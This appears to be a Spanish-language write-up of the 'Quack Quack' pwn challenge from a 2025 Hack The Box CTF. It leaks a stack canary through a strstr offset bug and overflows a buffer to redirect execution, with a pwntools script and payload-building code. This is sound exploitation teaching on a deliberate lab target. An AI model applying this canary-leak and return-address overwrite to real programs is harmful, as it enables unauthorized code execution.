Apocalipsis cibernético 2025 - Curandero

· 10min · Juicecat
Table of Contents

Cuac Cuac

Uno de mis desafíos favoritos del HTB CTF de este año fue Quack Quack

Para cuac cuac, nos dieron dos cosas:

  1. Un archivo ELF binario quack_quack
  2. Una IP y un puerto para conectarse index.md-27.png

La conexión al control remoto nos recibió con un agacharse y un mensaje, que sale inmediatamente independientemente de la entrada que se dé. index.md-28.png Siendo lo único que nos dieron, abro el binario quack_quack en Ghidra para ver qué está pasando (supongo que el binario es lo que se ejecuta en el control remoto). index.md-29.png Después del desmontaje, cabe destacar que vemos un par de funciones interesantes a la izquierda:

  • duckling
  • duck_attack
  • banner
  • setup
  • main

De estos, sólo duckling, duck_attack y main son relevantes. Así que echemos un vistazo a la función principal para ver cómo se desarrolla la lógica del programa: index.md-30.png Aquí vemos que al presionar la función principal, el programa simplemente crea un canario, ejecuta duckling y luego sale. Entonces, veamos duckling index.md-31.png Hay mucha lógica aquí, así que analicémosla:

  char *pcVar1;
  long in_FS_OFFSET;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;

La primera parte de la función asigna un montón de variables. Nada loco. local_10 es el valor canario.

A continuación, envía el mensaje a la salida estándar (recuerde, este es el mismo mensaje que vimos cuando nos conectamos al control remoto):

  printf("Quack the Duck!\n\n> ");
  fflush(stdout);

Luego lee 102 bytes de stdin y almacena los datos en el puntero local_88

  read(0,&local_88,0x66);

Luego realizamos la función strstr ( const char * str1, const char * str2 ) C, que devuelve un puntero a la primera aparición de str2 en str1, o un puntero nulo si no se encuentra. Básicamente, busca en nuestra entrada &local_88 la cadena "Quack Quack" y devuelve un puntero nulo si no se encuentra la cadena o el puntero donde se encuentra por primera vez "Quack Quack".

  pcVar1 = strstr((char *)&local_88,"Quack Quack ");

Luego, el programa verifica si el resultado es un puntero nulo. Si es así, sale y escribe un mensaje. Nuevamente, esto es lo que vimos cuando nos conectamos.

  if (pcVar1 == (char *)0x0) {
    error("Where are your Quack Manners?!\n");

    exit(0x520);
  }

Si queremos podemos verificar esta lógica conectándonos nuevamente al control remoto e ingresando "Quack Quack " (comprueba el espacio) index.md-32.png

Volver al código:

  printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);

Aquí el programa imprime un mensaje con una sustitución, reemplazando %s con los datos ubicado 32 bytes después del puntero del fragmento anterior. Inmediatamente después, realiza otra lectura estándar, pero esta vez lee 40 (0x28) bytes y los almacena en una variable:

read(0,&local_68,0x6a)

Después de eso, imprime incondicionalmente una cadena fija y regresa.

  puts("Did you really expect to win a fight against a Duck?!\n");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {

    __stack_chk_fail();
  }
  return;

De hecho, podemos ver este comportamiento: index.md-33.png

Es bastante obvio en este punto que estamos siendo conducidos a un ataque de desbordamiento del buffer. El problema clave es que local_68 está a solo 0x20 (32) bytes del final del primer búfer, pero la segunda lectura acepta 106 bytes. Esto significa que podemos escribir más allá de los límites del búfer y potencialmente sobrescribir la dirección del remitente.

Además, recuerda que hay otra función que vimos: duck_attack. Es obvio que esta función es nuestro objetivo. Queremos ejecutar esto en el servidor, pero la trama se complica: recuerde que ya vimos el código para las funciones main y duckling, y en ninguna parte del código se llama a esta función. Entonces, en condiciones normales, Esta función nunca será llamada y no hay rutas lógicas que conduzcan a la ejecución de esta función.. Lo que significa que la forma solo de posiblemente ejecutar esto en el servidor es sobrescribiendo una dirección de retorno mediante un desbordamiento. index.md-34.png

Genial, intentemos un ataque de desbordamiento de búfer. Esto se puede hacer fácilmente adjuntando un depurador y generando una carga útil de 106 bytes de longitud, y utilizándola como segunda entrada. Recuerde, debemos ingresar "Quack Quack " como primera entrada para pasar la verificación: index.md-35.png index.md-36.png

Aquí es donde el desafío se vuelve un poco más difícil. Tiene protección contra ataques de desbordamiento de búfer, como se vio en el bloqueo de _DAST5_*: terminated. La protección probablemente la ofrece el compilador que genera automáticamente comprobaciones canary antes de que salte RBP. Puedes leer más sobre cómo funciona esto here, pero básicamente:

  • Antes del búfer RBP en la memoria, se coloca un valor canario (solo un montón de datos aleatorios generados en tiempo de ejecución).
  • Si se cambia el valor canario, eso significa que un búfer anterior se desbordó en la dirección canaria y el programa sabe que se produjo un desbordamiento del búfer. Aquí es cuando ocurre el accidente.
  • Debido a que el RBP almacena la dirección del remitente, la función no puedo regresa a menos que el canario permanezca sin cambios

Esto limita nuestro estilo, porque un ataque típico de desbordamiento de búfer funciona sobrescribiendo la dirección de retorno a una dirección de nuestra elección (en este caso, elegiríamos la dirección de duck_attack). Sin embargo, debido a que el puntero de retorno está al final de la pila, necesitaríamos sobrescribir el canario para llegar a él.

La única forma de eludir este tipo de protección es filtrar de alguna manera el valor canario en tiempo de ejecución y, al desbordar y destruir datos fuera del búfer previsto, colocamos el valor canario donde estaba en el desplazamiento correcto.

Existe una vulnerabilidad en la lógica de la primera entrada:

  pcVar1 = strstr((char *)&local_88,"Quack Quack ");
  if (pcVar1 == (char *)0x0) {
    error("Where are your Quack Manners?!\n");

    exit(0x520);
  }
  printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);

Para resumir, este código:

  • Devuelve el puntero de la primera instancia de Quack Quack en la entrada
  • Imprime la memoria que está desplazada 32 bytes de ese puntero.

Aquí podemos manipular el puntero y, con suerte, hacer que imprima el valor canario. Abramos nuestro depurador nuevamente y establezcamos un punto de interrupción justo después de la salida relevante. index.md-37.png Ahora, esencialmente tenemos una memoria arbitraria leída manipulando el desplazamiento de la subcadena marcada desde el comienzo de la entrada (solo puede tener 102 bytes de tamaño). Desafortunadamente, no sabemos dónde está el valor canario en relación con dónde está almacenado el búfer de entrada. Por ejemplo, tome la siguiente ejecución con 49 a precediendo la cadena: index.md-39.png Cuando se sustituye el %s, vemos que no genera nada. Esto se debe a que, supuestamente, la dirección de memoria de 32 bytes de cualquier puntero generado con 49 a está vacía. Como ahora estamos adivinando con la memoria, necesitaremos comenzar a automatizar. Para esto usaré Python y pwntools.

Escribamos un script rápido para aplicar fuerza bruta al número de a necesarios para filtrar el canario. En este caso, solo necesitamos probar 1-90, ya que el tamaño máximo del búfer es 102 bytes y "Quack Quack " ya ocupa 12.

#!/usr/bin/env python3
from pwn import *
import re
import binascii

context.log_level = 'error'

host = '94.237.50.164' 
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
    conn = process('./quack_quack')
    conn.recvuntil(b'> ')
    pre = b'A' * i
    payload = pre + b'Quack Quack '
    
    conn.sendline(payload)
    response = conn.recvuntil(b'the Duck?')
    print("Response:\n", response)
    
    out = response.split(b'Quack Quack ')[1].split(b',')[0]
    print(f'Data extracted with offset {i}: {out}')
    conn.close()

def main():
    for i in range(0,90):
        leak_canary(i)

if __name__ == '__main__':
    main()

No escribí comentarios en mi código, pero debería explicarse por sí mismo. Aquí está el resultado: index.md-40.png En su mayor parte, la memoria está vacía. Pero verás que en algunos lugares logramos obtener un poco de datos. Sin embargo, sólo con un desplazamiento de 89 vemos una cantidad de datos utilizable. ¡Esto significa que probablemente hayamos localizado al canario justo al final! Estamos tratando con datos binarios aquí, por lo que no se mostrarán correctamente en un terminal. Para solucionar este problema, necesitaremos realizar un análisis en nuestro script.

Nota: Me quedé atrapado durante varias horas aquí. El problema era que estamos leyendo la memoria y emitiéndola, por lo que se invierte el endianismo. Necesitamos reorganizar manualmente el endian para tener datos utilizables.

Cambiamos nuestro script así:

out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')

¡Y ya tenemos el valor canario! index.md-41.png Debido a que esto se genera en tiempo de ejecución, desafortunadamente no podemos usarlo como valor final, tendremos que extraerlo en tiempo de ejecución y usarlo en la carga útil. No es un problema, pero vale la pena señalarlo.

Ahora recuerda. Nuestro objetivo es reescribir la dirección del remitente para regresar a la función duck_attack para imprimir la bandera. Y conocemos la dirección de la función del desmontaje:index.md-42.png Podemos agregar la dirección como variable y recordar invertir el endian:

duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')

Pero antes de eso, volvamos al depurador e intentemos verificar nuestro canario. Desafortunadamente, en GDB, después de alcanzar nuestro punto de interrupción:index.md-43.png e inspeccionar la pila: index.md-44.png , no podemos comparar nuestro canario con lo que hay en la memoria, debido a que los datos binarios no se muestran en nuestro terminal. Por lo tanto, necesitaremos adjuntar nuestro depurador gdb dentro de nuestro script donde podamos analizar la salida sin formato.

Para hacer eso, simplemente agregamos gdb.attach(conn) y luego, donde queremos inspeccionar, podemos agregar pause(). En nuestro caso, simplemente agregaremos el pause() antes de cerrar la conexión. Ahora abrimos un depurador justo después de imprimir el canario: index.md-45.png ¡Verás que nuestro canario coincide! Lo que significa que ahora podemos pasar a la segunda parte del exploit (¿Recuerdas el segundo read()?)

Ahora tenemos el canario y estamos intentando sobrescribir la dirección del remitente. Al igual que con el canario, no conocemos la posición de nuestro objetivo en relación con la pila que estamos sobrescribiendo. Podemos hacer algo similar a como hicimos la primera parte y aplicar fuerza bruta. Recuerde, el canario estará justo antes de RBP, por lo que podemos agregar lentamente nuestro desbordamiento con nuestro canario al final.

Mientras el desbordamiento sea lo suficientemente pequeño, el canario no será tocado y no sucederá nada. Cuando el desbordamiento es demasiado grande, nuestros caracteres basura sobrescribirán el canario y provocaremos que la pila se bloquee. Pero, cuando tengamos el desplazamiento correcto, se superpondrá perfectamente al canario, y sustituirá la dirección del remitente por la dirección de duck_attack, leyendo el archivo flag.txt.

Así que agreguemos esto a nuestro script, iterando sobre i:

    res = conn.recvuntil(b'> ')
    payload2 = (b'A' * i) + p64(canary) + attack_bytes
    conn.sendline(payload2)
    res = conn.recv_raw(256)
    print(f'{i}: {res}')

Y obtenemos un resultado interesante con 88 a: index.md-46.png

Pero... esperábamos conseguir la bandera. ¿Dónde está? ¿Por qué mostramos texto aleatorio?

Saltemos a nuestro depurador y descubramos: index.md-47.png Verificamos que RBP no fue sobrescrito. Eso lleva a la pregunta: ¿Dónde terminó nuestra carga útil? jajaja. Echemos un vistazo a la pila y averigüémoslo. index.md-48.png Vale, eso es interesante. Nuestra carga útil (40137f) está en 0x7ffe95725d30, pero la queremos en 0x7ffe95725d20. Entonces, agreguemos algunos bytes antes de la carga útil de nuestro ataque y depuremos: index.md-49.png Bien, esto es un progreso. Ahora vemos que estamos sobrescribiendo parcialmente RBP, lo que genera una dirección de memoria no válida:index.md-50.png Así que agreguemos 8 bytes antes de nuestra carga útil de ataque para moverla a la posición + (b'A'*8) + attack_bytes index.md-51.png ¡Parece que lo tenemos! El flag.txt en mi máquina se mostró correctamente. Ahora necesitamos ejecutar esto en el servidor.

index.md-52.png

¡Bien, lo tenemos! (Ahora son las 2 de la madrugada)